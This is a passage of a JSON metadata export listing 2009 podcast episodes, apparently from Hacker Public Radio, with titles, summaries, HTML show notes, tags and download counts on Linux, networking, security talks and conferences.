LVM","hostid":112,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,Software RAID,logical volume manager","version":0,"downloads":1618,"valid":1}, {"id":317,"date":"2009-03-19","title":"NewsCast Ep 2","duration":370,"summary":"finux continues his news cast series","notes":"finux continues his news cast series","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,newscast","version":0,"downloads":1555,"valid":1}, {"id":318,"date":"2009-03-20","title":"Git","duration":4347,"summary":"A presentation on Git from Utah Open Source","notes":"UTOS (Utah Open Source, https://www.utos.org/) presentation on GIT","hostid":100,"series":81,"explicit":1,"license":"CC-BY-NC-SA","tags":"version control,cvs,subversion,mercurial,git","version":0,"downloads":2529,"valid":1}, {"id":319,"date":"2009-03-20","title":"EC LUG Feb 12th Meeting","duration":4457,"summary":"The Feb. 12th, 2009 Eau Claire Linux User Group meeting","notes":"EC LUG Feb 12th Meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,encryption,twitter,beer,microcontroller,flash","version":0,"downloads":2010,"valid":1}, {"id":320,"date":"2009-03-23","title":"Audacious","duration":565,"summary":"Thistleweb reviews a lightweight music player app, Audacious","notes":"Running Order\n

Little dogs\n

    \n
  • XMMS
  • \n
\nWinamp similarities\n
    \n
  • Layout (3 magnetic windows)
  • \n
  • Compatible skins
  • \n
  • System tray icon & control
  • \n
\nPlugins\n
    \n
  • Status icon
  • \n
  • Global hotkeys
  • \n
  • Audio compressor
  • \n
\nBig dogs\n
    \n
  • Multi section windows
  • \n
  • Podcatchers
  • \n
  • Last.fm
  • \n
  • Syncing of media folders & MP3 players
  • \n
\n

","hostid":106,"series":11,"explicit":1,"license":"CC-BY-NC-SA","tags":"lightweight,multimedia,audio,music","version":0,"downloads":3821,"valid":1}, {"id":321,"date":"2009-03-24","title":"Parrot","duration":4939,"summary":"Presentation on the Parrot VM given by Steven Weeks at a Provo LUG on 2009-03-11.","notes":"

\nParrot is a virtual machine designed to efficiently compile and execute bytecode for dynamic languages.\n

\n\n

\nParrot currently hosts a variety of language implementations in various stages of completion, including Tcl, Javascript, Ruby, Lua, Scheme, PHP, Python, Perl 6, APL, and a .NET bytecode translator.\n

\n\n

\nParrot is not about parrots, though we are rather fond of them for obvious reasons.\n

\n\n

\nGuru at Guru Labs for 1.5 years. I teach, work on courseware, and assorted Perl programming. In my spare time I work on Parrot and recently a roguelike. I've been working on Parrot for about a year, in which time I've written a LOLCODE and Ruby compiler and done a lot of work on Exceptions and some work implementing features in Perl 6.\n

\n\n

\nI'd like to talk about Parrot and/or Perl 6! That's about as specific as I get. If nobody has any more-specific requests, I'd like to run through implementing a simple language and the parts of a Parrot compiler. Maybe scheme? I haven't decided yet.\n

\n","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Parrot,virtual machine,Perl 6,bytecode,Rakudo","version":0,"downloads":1284,"valid":1}, {"id":322,"date":"2009-03-25","title":"EC Lug Feb 19th Meeting","duration":6403,"summary":"The Feb. 19th, 2009 Eau Claire Linux User Group meeting","notes":"EC LUG Feb 19th Meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Nvidia,video drivers,video encoding,python,raw image tools","version":0,"downloads":1397,"valid":1}, {"id":323,"date":"2009-03-26","title":"zenity","duration":374,"summary":"zenity is a program that will display GTK+ dialogs","notes":"zenity

\nzenity in a bash script example.","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"bash,shell script,dialog box","version":0,"downloads":1991,"valid":1}, {"id":324,"date":"2009-03-27","title":"webmin","duration":1254,"summary":"Mark talks about webmin","notes":"Mark talks about webmin","hostid":112,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"webmin,web administration","version":0,"downloads":2199,"valid":1}, {"id":325,"date":"2009-03-30","title":"RoundTable Ep 2: Is There such a thing as Ethical Hacking?","duration":2226,"summary":"Panelists discuss the question \"Is there such a thing as Ethical Hacking?\"","notes":"

Three-Thirty, AJ, Nick, and Klaatu discuss the question \"Is there such a thing as Ethical Hacking?\"

\n\n

An ogg version of this episode is also available.

","hostid":109,"series":26,"explicit":1,"license":"CC-BY-NC-SA","tags":"penetration testing,hardware hacking,hacking,encryption,piracy,security","version":0,"downloads":2192,"valid":1}, {"id":326,"date":"2009-03-31","title":"Setting up a Monitor","duration":245,"summary":"Xoke explains how he sets up his monitor","notes":"xoke explains how he sets up his monitor","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Hardware,Monitor","version":0,"downloads":2173,"valid":1}, {"id":327,"date":"2009-04-01","title":"Mozilla Profiles","duration":1805,"summary":"Thistleweb goes over profiles for Mozilla Firefox and Thunderbird","notes":"

Commands\n

    \n
  • firefox -P : opens Firefox at profile prompt
  • \n
  • firefox -P \"Foo\" : opens Firefox with Foo profile
  • \n
\n

Change \"firefox\" for \"thunderbird\" to do the same for email profiles.

\n

Locations (on Linux), these are hidden .folders.

\n
    \n
  • Firefox : /home/foo/.mozilla/firefox/profiles.ini
  • \n
  • Thunderbird : /home/foo/.mozilla-thunderbird/profiles.ini
  • \n
\n

Locations for Windows & Mac users.

\n

Profiles.ini settings

\n
    \n
  • Name : name used in profile
  • \n
  • Path : path to profile folder
  • \n
  • Default : default profile used when just \"firefox\" or \"thunderbird\" are exectuted
  • \n
\n

Firefox Extensions

\n
    \n
  • FEBE : Firefox Environment Backup Extension
  • \n
  • OPIE : Ordered Preference Import/Export
  • \n
  • CLEO : Compact Library Extension Organizer
  • \n
\n

Thunderbird Extensions

\n\n

","hostid":106,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"firefox,profiles,linux,windows,Thunderbird","version":0,"downloads":2754,"valid":1}, {"id":328,"date":"2009-04-02","title":"Puppet, Systems Building Systems","duration":3874,"summary":"Utah Open Source Conference - Puppet","notes":"Andrew Shafer works full time on the Open Source system management framework, Puppet. He brings with him a background in computational science, embedded Linux development, web frameworks and Agile methods. Andrew has been an Open Source user and advocate since the late 90s. He was a speaker at the 2008 Utah Open Source Conference.","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"puppet,automation,ruby","version":0,"downloads":1444,"valid":1}, {"id":329,"date":"2009-04-03","title":"SSH Part 2","duration":1145,"summary":"Klaatu presents a howto on using ssh keys and ssh-agent","notes":"

HOWTO use ssh keys and ssh-agent to provide easier SSH'ing in your network!

\n

Listen carefully for bonus subliminal messages delivered by Klaatu's friend's (black) cat.

\n

This episode also available in ogg.

\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"Linux,ssh,ssh-keygen","version":0,"downloads":1970,"valid":1}, {"id":330,"date":"2009-04-06","title":"Listgarden","duration":465,"summary":"Deepgeek reviews listgarden, an rss generator","notes":"deepgeek reviews listgarden an rss generator \n\nshownotes: deepggeek.us/listgarden.html\n https://talkgeektome.us ","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"listgarden,rss,lightweight","version":0,"downloads":2014,"valid":1}, {"id":331,"date":"2009-04-07","title":"Snort Part 2","duration":910,"summary":"Operat0r hosts a follow up episode on the Snort Intrusion Detection Tool","notes":"Operat0r hosts a follow up episode to his snort ep","hostid":36,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Snort,intrusion detection","version":0,"downloads":2118,"valid":1}, {"id":332,"date":"2009-04-08","title":"Libre Planet 2009","duration":4313,"summary":"FSF Annual Meeting - Libre Planet 2009 Conference Episode 1 of 5","notes":"

Libre Planet 2009 conference 1 of 5

\n\n

FSF Annual Meeting :: Libre Planet 2009 Conference Episode 1 of 5

\n\n

The event was held at the Harvard Science Center, Cambridge, MA on March 21st and 22nd, 2009.

\n\n
    \n
  • [00:00:00 to 00:04:47] Welcome. Peter Brown (FSF Executive Director)
  • \n
  • [00:04:17 to 00:06:24] Un-conference Orientation - Rob Myers and Matt Lee
  • \n
  • [00:06:25 to 01:11:54] Jeremy Allison, The Elephant in the Room: Microsoft and Free Software
  • \n
\n\n

For more information please visit: https://www.fsf.org/associate/meetings/2009/

\n","hostid":99,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Libreplanet,Free Software Foundation,Microsoft,Samba,Open Document Format,ODF","version":0,"downloads":1917,"valid":1}, {"id":333,"date":"2009-04-09","title":"BruCON Interview","duration":2096,"summary":"Interview with Benny from BruCON","notes":"finux interviews Benny, a security consultant and organizer of BruCON ","hostid":85,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"Security","version":0,"downloads":2409,"valid":1}, {"id":334,"date":"2009-04-10","title":"Toti","duration":1968,"summary":"Theater of the Imagination - part 1","notes":"
\nTHEATER OF THE IMAGINATION\n
\nDramatic Audio Media, And Its Context\n

\nShownotes -- In No Particular Order (Yay!)\n

\nFirst off, there's the Wikipedia page for audiobooks (strangely, they don't seem to have one specifically for podiobooks -- at least, when I \nlooked. Someone should fix that. But not me. I'm too busy. Or something.) \n
\nhttps://en.wikipedia.org/wiki/Audiobook\n\n

\nThe Internet Archive's Old Time Radio \"Gunsmoke\" collection\n
\nhttps://www.archive.org/details/OTRR_Certified_Gunsmoke\n\n

\nDarker Projects (lots of fun going on here)\n
\nhttps://www.darkerprojects.com\n\n

\nDecoder Ring Theatre (The Red Panda is da man -- and his female sidekick is too...rowaar!)\n
\n
href=https://decoderring.libsyn.com/\n\n

\nBrokenSea Audio Productions (lookin' good)\n
\n
href=https://brokensea.com/\n\n

\nFor live stage productions, check this guy out -- I haven't seen him, myself, but he's got right idea!\n
\nhttps://www.ruyasonic.com/\n\n

\nAgain, not anyone I've seen, but they sure have the fire!\n
\nhttps://www.atbplayers.com/\n\n

\nOriginal street sound f/x\n
\nBy gezortenplotz (https://www.freesound.org/usersViewSingle.php?id=11536)\nNYC_street leve02l.wav (https://www.freesound.org/samplesViewSingle.php?id=44796)\n
\nremixed by yours truly\n\n

\nIntro and Outro music by the Benny Goodman Orchestra, \"Sing, Sing, Sing\", performed on the \"Camel Caravan\", on November 4th, \n1939 (public domain, and available at the Internet Archive here)\n","hostid":107,"series":52,"explicit":1,"license":"CC-BY-NC-SA","tags":"audio drama,audio books","version":0,"downloads":2044,"valid":1}, {"id":335,"date":"2009-04-13","title":"Linux Netbooks","duration":2547,"summary":"Multiple host talk about Linux Netbooks","notes":"Linux Netbooks

monsterb, Azimuth, Klaatu, LilMiss64, Peter64, and the Gutsy Geeks talk about Linux Netbooks.
Netbooks Mentioned: Acer Aspire One, Asus Eee Pc 700, 900, 1000, Dell Mini 9, HP, MSI, Sylvania G Meso

Going Linux https://goinglinux.com
Gutsy Geeks https://www.gutsygeeks.com","hostid":99,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"netbooks,reviews","version":0,"downloads":1579,"valid":1}, {"id":336,"date":"2009-04-14","title":"Asterisk","duration":2392,"summary":"Review of Asterisk PBX. Covering hardware specs., peripherals, setup, and operations.","notes":"Mark Clarke and Darlene Parker talk about Asterisk","hostid":112,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Asterisk,PBX,Digium,softphone","version":0,"downloads":2222,"valid":1}, {"id":337,"date":"2009-04-15","title":"Linux at Work","duration":1951,"summary":"Knightwise talks about linux in the workplace","notes":"Knightwise talks about linux in the workplace","hostid":111,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Ubuntu,desktop,work,Open Office,open standards","version":0,"downloads":2109,"valid":1}, {"id":338,"date":"2009-04-16","title":"cappuccino","duration":1168,"summary":"Secrets of a perfect cappuccino","notes":"

Klaatu reveals the methodology and secrets of making the perfect cappuccino.

\n

Here's the ogg version.

\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"coffee,cappuccino","version":0,"downloads":1545,"valid":1}, {"id":339,"date":"2009-04-17","title":"Reasons to love Symlinks","duration":883,"summary":"Why rkirk loves symlinks","notes":"rkirk talks about the reasons he loves symlinks","hostid":114,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"symlinks,softlinks,playlists,organize","version":0,"downloads":3208,"valid":1}, {"id":340,"date":"2009-04-20","title":"RTFM","duration":583,"summary":"Ken talks about the history behind RTFM","notes":"ken talks about the history behind RTFM","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"RTFM,documentation,history","version":0,"downloads":2228,"valid":1}, {"id":341,"date":"2009-04-21","title":"Libre Planet 2009 Conference Episode 2 of 5","duration":2730,"summary":"FSF Annual Meeting - Libre Planet 2009 Conference Episode 2 of 5","notes":"FSF Annual Meeting :: Libre Planet 2009 Conference Episode 2 of 5

The event was held at the Harvard Science Center, Cambridge, MA on March 21st and 22nd, 2009.

[00:00:00 to 00:47:37] Mako Hill, Cloud Computing/Software as a Service - defining Freedom for Network Services

[00:47:38 to 01:19:22] Alexandre Oliva, Freeing the kernel and the Linux Libre project

For more information please visit: https://www.fsf.org/associate/meetings/2009/","hostid":99,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Libreplanet,Free Software Foundation,network services,communication","version":0,"downloads":2922,"valid":1}, {"id":342,"date":"2009-04-22","title":"Libre Planet 2009 Conference Episode 3 of 5","duration":3701,"summary":"FSF Annual Meeting - Libre Planet 2009 Conference Episode 3 of 5","notes":"FSF Annual Meeting :: Libre Planet 2009 Conference\nFSF Annual Meeting :: Libre Planet 2009 Conference Episode 3 of 5

The event was held at the Harvard Science Center, Cambridge, MA on March 21st and 22nd, 2009.

Toward a LibrePlanet - Free Software Activism worldwide (Brian Gough, Ryan Bagueros, Bradley Kuhn)

For more information please visit: https://www.fsf.org/associate/meetings/2009/","hostid":99,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Free software,Latin America,Brazil,Bradley M. Kuhn,Gnu hackers meetings","version":0,"downloads":1848,"valid":1}, {"id":343,"date":"2009-04-23","title":"Virtualization","duration":2595,"summary":"Mark and Darlene talk about Virtualization","notes":"Mark and Darlene talk about Virtualization\n\n","hostid":112,"series":8,"explicit":1,"license":"CC-BY-NC-SA","tags":"virtualization,Zen,KVM,libvirt","version":0,"downloads":1970,"valid":1}, {"id":344,"date":"2009-04-24","title":"EC Lug March 12th Meeting","duration":6783,"summary":"March 12, 2009 Eau Claire Linux User Group meeting","notes":"EC Lug March 12th Meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Homemade projector screen,Nvidia drivers,Pulseaudio,tab completion,bash,irc,open source","version":0,"downloads":2567,"valid":1}, {"id":345,"date":"2009-04-27","title":"Editing the auto-generated menu in Linux","duration":899,"summary":"Thistleweb shows how to edit menus and icons","notes":"

Locations\n\nMenu files (requires root to edit)\n

    \n
  • /usr/shar/applications
  • \n
\n\nIcon files\n
    \n
  • /usr/share/pixmaps
  • \n
  • /usr/share/icons/foo
  • \n
\n\n

Edit files in plain text editor like GEdit

\n\nEllements pointed out in episode (there are plenty more, they vary per app, & distro)\n
    \n
  • Name : the name it will display on the menu (may need to change Name[foo] to reflect your language)
  • \n
  • Language : speaks for itself
  • \n
  • Comment : the rollover text
  • \n
  • Exec : the command it will execute when clicked
  • \n
  • Icon : the path to the icon shown in the menu
  • \n
  • OnlyShowIn : useful when trying to find why an application may not be showing the menu
  • \n\n
  • Terminal : runs the command in a terminal
  • \n\n
  • Categories : (I think) this is the submenu groups where it'll appear on the menu
  • \n
\n

Changes sometimes take a little while to update, restarting X or rebooting will force it to re-read that folder and apply the changes.

\nXCFE Tip\n
    \n
  • Right click to edit menu. Click on something like a separator, move it up, then down to it's original place. Save.
  • \n
\n

","hostid":106,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"menus,icons,Xfce","version":0,"downloads":1923,"valid":1}, {"id":346,"date":"2009-04-28","title":"GridBackup","duration":6097,"summary":"Utah Open Source Conference - Shawn Willden presents on GridBackup: A peer to peer backup","notes":"Shawn Willden presents on GridBackup: A peer to peer backup system built on top of the allmydata.org Tahoe distributed file system.","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"backups,resiliency,cross platform,python","version":0,"downloads":1658,"valid":1}, {"id":347,"date":"2009-04-29","title":"Watchmen: the motion comic","duration":383,"summary":"Dave Yates reviews Watchmen: the motion comic","notes":"Watchmen: the motion comic

\nWatchmen Motion Comic on wikipedia.

\nWatchmen Motion Comic on IMDB.

\nWatchmen Comic Movie official website.","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"graphic novel,DVD","version":0,"downloads":2250,"valid":1}, {"id":348,"date":"2009-04-30","title":"How I Found Linux 001","duration":1794,"summary":"Monsterb introduces audio clips sent in by Linux users","notes":"How I Found Linux 001

\nLilMiss64 - Professional BZFlag Player
\nPeter64 - Linux Cranks
\nDavid Abbott - Linux Crazy
\nKlaatu - Fedora Reloaded,\nand The Bad Apples
\nlostnbronx - This guy is lost in Bronx.
\ndwick - dwick.org
\nKen Fallon - kenfallon.com
\nAzimuth - Linux Cranks
\n
\nSend your \"How I Found Linux\" audio clip to monsterb (at) linuxcranks (dot) info.\n","hostid":99,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux","version":0,"downloads":2114,"valid":1}, {"id":349,"date":"2009-05-01","title":"The Hacker Within","duration":1522,"summary":"Thewtex interviews The Hacker Within computer science group","notes":"thewtex talks about the hacker within","hostid":69,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"interviews,hackers,computer science,high performance computing","version":0,"downloads":2074,"valid":1}, {"id":350,"date":"2009-05-05","title":"How I found Linux 002","duration":1694,"summary":"Monsterb introduces audio clips sent in by Linux users","notes":"
\nThistleweb - HPR Correspondent
\nTerryF - IRC Master
\nDavid from NYC
\nweex - Try GNU + Linux Free Software Podcast
\nscriptmunkee - Try GNU + Linux Free Software Podcast
\nRuss Wenner - The Techie Geek
\n
\nSend your \"How I Found Linux\" audio clip to monsterb (at) linuxcranks (dot) info.\n","hostid":99,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux","version":0,"downloads":1575,"valid":1}, {"id":351,"date":"2009-05-05","title":"Network Basics","duration":850,"summary":"Klaatu explains the basics of networking","notes":"klaatu talks about basic networking","hostid":78,"series":61,"explicit":0,"license":"CC-BY-NC-SA","tags":"computers,networking,topology,7-layer model","version":0,"downloads":1990,"valid":1}, {"id":352,"date":"2009-05-06","title":"Open Source Business Models","duration":2166,"summary":"Mark and Darlene talk about Open source business models","notes":"Mark and Darlene talk about Open source business models","hostid":112,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"open source,business","version":0,"downloads":1634,"valid":1}, {"id":353,"date":"2009-05-07","title":"Pete Wood Interview","duration":3528,"summary":"Finux interviews Pete Wood","notes":"finux interviews Pete Wood","hostid":85,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"interviews,infosec,ethical hacking,security,social engineering","version":0,"downloads":1577,"valid":1}, {"id":354,"date":"2009-05-08","title":"The Jerks Among us","duration":727,"summary":"Rant by lostnbronx about jerks","notes":"THE JERKS AMONG US \n\n

\n\nMusic in this episode\n\n
\n\n\"Give Me Your Hand\" and \"Voicedance\"\nsung by \n
\nDanny Fong, et al, \n
\ndetails here\n
\nDanny's \npage on the Podsafe Network\n\n

\n\"Whipass\"\n
\nby \n
\nRay (the man's a genius)\n
\nFound all over the Internet, but here's a \nlink to it over on \nZefrank's site, along with a page of \nfunny remixes.","hostid":107,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Technology,Computers,People","version":0,"downloads":3381,"valid":1}, {"id":355,"date":"2009-05-11","title":"Star Trek","duration":735,"summary":"Review of the 2009 movie Star Trek. The JJ Abrams reboot of the Star Trek movies franchise.","notes":"deepgeek reviews star trek","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Star Trek,movies,movie,movie review,review","version":0,"downloads":2182,"valid":1}, {"id":356,"date":"2009-05-13","title":"BBS","duration":1786,"summary":"HPR members reminisce about using and operating Bulletin Board Systems (BBS)","notes":"Lord Drachenblut and others talk about BBS's","hostid":24,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"BBS,Searchlight,Searchlight BBS,PCBoard,PCB,PCBoard BBS,Messaging,File Sharing,Nodes,Node","version":0,"downloads":2532,"valid":1}, {"id":357,"date":"2009-05-13","title":"Network Basics Part 2","duration":1200,"summary":"Episode 2 of Basic networking with Klaatu","notes":"

In episode 2 of Networking Basics, Klaatu covers Routers, Switches, and Hubs. He also discusses the concepts of Collision Domains and Broadcast Domains.

\n

The ogg version is available here.

","hostid":78,"series":61,"explicit":0,"license":"CC-BY-NC-SA","tags":"Routers,Switches,Hubs,Collision domains,Broadcast domains","version":0,"downloads":2060,"valid":1}, {"id":358,"date":"2009-05-15","title":"Libre Planet 2009 Part 4","duration":5211,"summary":"FSF Annual Meeting :: Libre Planet 2009 Conference Episode 4 of 5","notes":"FSF Annual Meeting :: Libre Planet 2009 Conference Episode 4 of 5

The event was held at the Harvard Science Center, Cambridge, MA on March 21st and 22nd, 2009.

[00:00:00 to 00:46:45] Evan Prodromou, Identi.ca and engineering for free network services

[00:46:46 to 01:25:45] Rob Savoye, Gnash and Cygnal project.

For more information please visit: https://www.fsf.org/associate/meetings/2009/","hostid":99,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"microblogging,Identi.ca,php,mysql,flash,gnash player","version":0,"downloads":3611,"valid":1}, {"id":359,"date":"2009-05-16","title":"Control 4","duration":4665,"summary":"Utah Open Source Conference - Home Automation","notes":"Ryan Erickson works for Control4 (https://www.control4.com), and has worked and played with Home Automation for over 10 years. He will present an introduction to Home Automation, and discuss Control4's Home Automation products. Ryan will cover: # What is Home Automation? # How does it work? # Open Source Home Automation projects # DIY vs. 'Professional' # Control4's approach to Home Automation","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"home automation,home theatre,multi-room audio,lighting","version":0,"downloads":8154,"valid":1}, {"id":360,"date":"2009-05-19","title":"How I found Linux 3","duration":1644,"summary":"Monsterb introduces audio clips sent in by Linux users","notes":"How I Found Linux 003

\nA.J. - Linux Geekdom
\nthreethirty - FLHL, Linux Cranks, SKT
\nNathan Hale - Productive Linux
\nVerbal - Verbal's Linux Trivia Podcast
\nCharles - mintCast
\nJeremy & J.D. - DistroCast
\n
\nSend your \"How I Found Linux\" audio clip to monsterb (at) linuxcranks (dot) info.\n","hostid":99,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux","version":0,"downloads":1712,"valid":1}, {"id":361,"date":"2009-05-20","title":"Programming 101 Part 4","duration":2799,"summary":"Xoke continues his Programming 101 Series - Part 4","notes":"Xoke continues his programming series","hostid":79,"series":25,"explicit":1,"license":"CC-BY-NC-SA","tags":"Programming,Python","version":0,"downloads":1662,"valid":1}, {"id":362,"date":"2009-05-21","title":"Libre Planet 2009 Part 5","duration":6313,"summary":"FSF Annual Meeting :: Libre Planet 2009 Conference Episode 5 of 5","notes":"FSF Annual Meeting :: Libre Planet 2009 Conference Episode 5 of 5

The event was held at the Harvard Science Center, Cambridge, MA on March 21st and 22nd, 2009.

[00:00:00 to 00:33:45] - Ciaran O'Riordan, End Software Patents

[00:33:46\nto 00:51:38] - Richard M. Stallman, Hardware for Free Software and\nthe presentation ceremony of the Free Software Awards

[00:51:39 to 01:20:19] - Routing for the day

[01:20:20 to 01:45:15] - End of Unconference (with special musical guest, Kat Walsh)

For more information please visit: https://www.fsf.org/associate/meetings/2009/","hostid":99,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"end software patents,Richard M. Stallman,free software","version":0,"downloads":1914,"valid":1}, {"id":363,"date":"2009-05-22","title":"Networking Basics Part 3","duration":1460,"summary":"The third episode of Basic Networking","notes":"

In the third episode of Basic Networking, Klaatu talks about all things Ethernet; from the physical construction of the cables to the structure of the data frames being sent over them.

\n\n

As usual, an ogg version is available over on the bad apples.

","hostid":78,"series":61,"explicit":0,"license":"CC-BY-NC-SA","tags":"networking,ethernet,cables,data frames","version":0,"downloads":1976,"valid":1}, {"id":364,"date":"2009-05-23","title":"TiT Radio Pilot","duration":3075,"summary":"Monsterb and friends kick off the pilot of TiT Radio. A new series on HPR","notes":"TiT Radio - Pilot 000
\nmonsterb and friends kick off the pilot of TiT Radio. A new\nseries on HPR, streaming Live on ddphackradio.org. Please visit https://titradio.info for shownotes and more information.","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"roundtable,commandlinefu,Linux hardware,ubuntu remix,switching to linux","version":0,"downloads":1776,"valid":1}, {"id":365,"date":"2009-05-25","title":"Green Computing","duration":2443,"summary":"Mark and Darlene talk about Green Computing","notes":"Mark and Darlene talk about Green Computing","hostid":112,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"green computing,switching to Linux,recycling computers,virtualization","version":0,"downloads":1656,"valid":1}, {"id":366,"date":"2009-05-27","title":"The Open Source Data Center","duration":5140,"summary":"Utah Open Source Conference - Open Source Data Center","notes":"During the last 10 years of system administration I have been involved in a number of data center migrations and build-outs. As these projects came and went I began to see patterns emerge in the set of services and software required to run a successful operations infrastructure. This presentation will describe these patterns, and provide an overview of the Open Source software available to implement them. About Dan: Dan Hanks has been involved with Linux System administration since 1998, when he worked for EagleNet Online, a small ISP in Provo, which, in a sense, was the birthplace of PLUG. After EagleNet he worked as a systems and database administrator for Nothsky/About.com/Primedia/United Online and is currently a system administrator for Omniture. He has varied interests, ranging from computers and technology to astronomy, geology, music, art, and family history research. He holds a Bachelor's degree in Computer Science from BYU, and is the father of 4 adventuresome children. He (occasionally) blogs at https://brainshed.com, and tweets as @danhanks.","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"physical infrastructure,data center","version":0,"downloads":1949,"valid":1}, {"id":367,"date":"2009-05-28","title":"Screw you Hacker","duration":406,"summary":"A song by Chad from the Linux Basement","notes":"another song by Chad from the linux basement","hostid":101,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"songs,hacker,buffer overflow","version":0,"downloads":1700,"valid":1}, {"id":368,"date":"2009-05-29","title":"GPS with gpsbabel, gpicsync and Google Earth","duration":4349,"summary":"Utah Open Source Conference - GPS","notes":"Marc Christensen presents on Geo Tagging pictures and overlaying GPS Data aligned with photos on Google Map and Google Earth","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"GPS,gpx file,gpsbabel,gpicsync,file conversion","version":0,"downloads":1514,"valid":1}, {"id":369,"date":"2009-05-29","title":"UCLUG May Meeting","duration":6175,"summary":"Carolina Linux User Group Meeting - GnuCash","notes":"Upstate Carolina Linux User Group","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"finance,GnuCash,online banking,SELF,ffmpeg,Android","version":0,"downloads":1563,"valid":1}, {"id":370,"date":"2009-06-01","title":"How I Found Linux 004","duration":1755,"summary":"Monsterb introduces audio clips sent in by Linux users","notes":"How I Found Linux 004

\nSkirlet - Fedora Reloaded Podcast
\nNicholas from PA
\nSigFLUP
\nNick Ali - Ubuntu Podcast
\nKristin Shoemaker - Ostatic Blog & Sudo Wrestling Podcast
\nTodd N
\nLawton Paul - Lawton Paul Design
\n
Send your \"How I Found Linux\" audio clip to monsterb (at) linuxcranks (dot) info.","hostid":99,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"Fedora,KDE,Graphic art,Redhat,Slackware,Debian,Library computers","version":0,"downloads":1574,"valid":1}, {"id":371,"date":"2009-06-02","title":"Introduction to SELinux","duration":5269,"summary":"Utah Open Source Conference - SELinux","notes":"The traditional Unix security model is simple and beautiful. For decades it has been good enough for most people. However, it is starting to show its age. In the highest security settings, a more fine grained control system is needed. In the past, this meant using expensive, complicated, special purpose versions of Unix: trusted systems. (Trusted Solaris, Trusted AIX, Trusted HP-UX) SELinux, created by the NSA, is the most mature and complete response to the need for Trusted Linux systems. Unfortunately, because of the difficulty creating and maintaining trusted systems, their success has been limited. This is no longer acceptable. Today, even desktop systems and cell phones need high quality security. Imagine being able to sandbox your Web browser and e-mail client. The traditional Unix model makes this difficult and only partially possible. SELinux, on the other hand, makes fine grained security available to everyone. When it first appeared, SELinux was hard to learn and mysterious to troubleshoot. As a result, many people fear it. However, SELinux and the tools to manage it have come a long way. It's time to lay fear aside. Stuart will teach what SELinux is, why it is great, basic troubleshooting and maintenance.","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"SELinux,NSA","version":0,"downloads":1571,"valid":1}, {"id":372,"date":"2009-06-03","title":"All Songs Considered 8: Gnu Day","duration":280,"summary":"A song by Chad from Linux Basement","notes":"Another Song by Chad from the linuxbasement","hostid":101,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"Songs,GNU Linux","version":0,"downloads":2066,"valid":1}, {"id":373,"date":"2009-06-04","title":"Qemu","duration":1289,"summary":"Klaatu discussed the Qemu emulator","notes":"

Klaatu, on vacation in Niagra Falls (or so it sounds from all the background noise...), talks about Qemu.

\n

Qemu\nPre-built Virtual Machines to run with Qemu

\n

You may also choose to download the ogg version.

","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"qemu,emulator","version":0,"downloads":1564,"valid":1}, {"id":374,"date":"2009-06-05","title":"TiT Radio - Fluxbox 001","duration":4573,"summary":"Monsterb and friends host TiT Radio","notes":"\nmonsterb and friends talk about the light weight window manager called Fluxbox.  Please visit https://titradio.info for shownotes and more information.
","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"roundtable,fluxbox,lightweight","version":0,"downloads":2389,"valid":1}, {"id":375,"date":"2009-06-08","title":"SAP - the Simple Audio Player","duration":814,"summary":"lostnbronx talks about SAP - Simple Audio Player","notes":"SAP\n
\nthe Simple Audio Player\n\n

\n\nThe Sap Homepage:\n
\nhttps://www.jezra.net/projects/sap\n\n

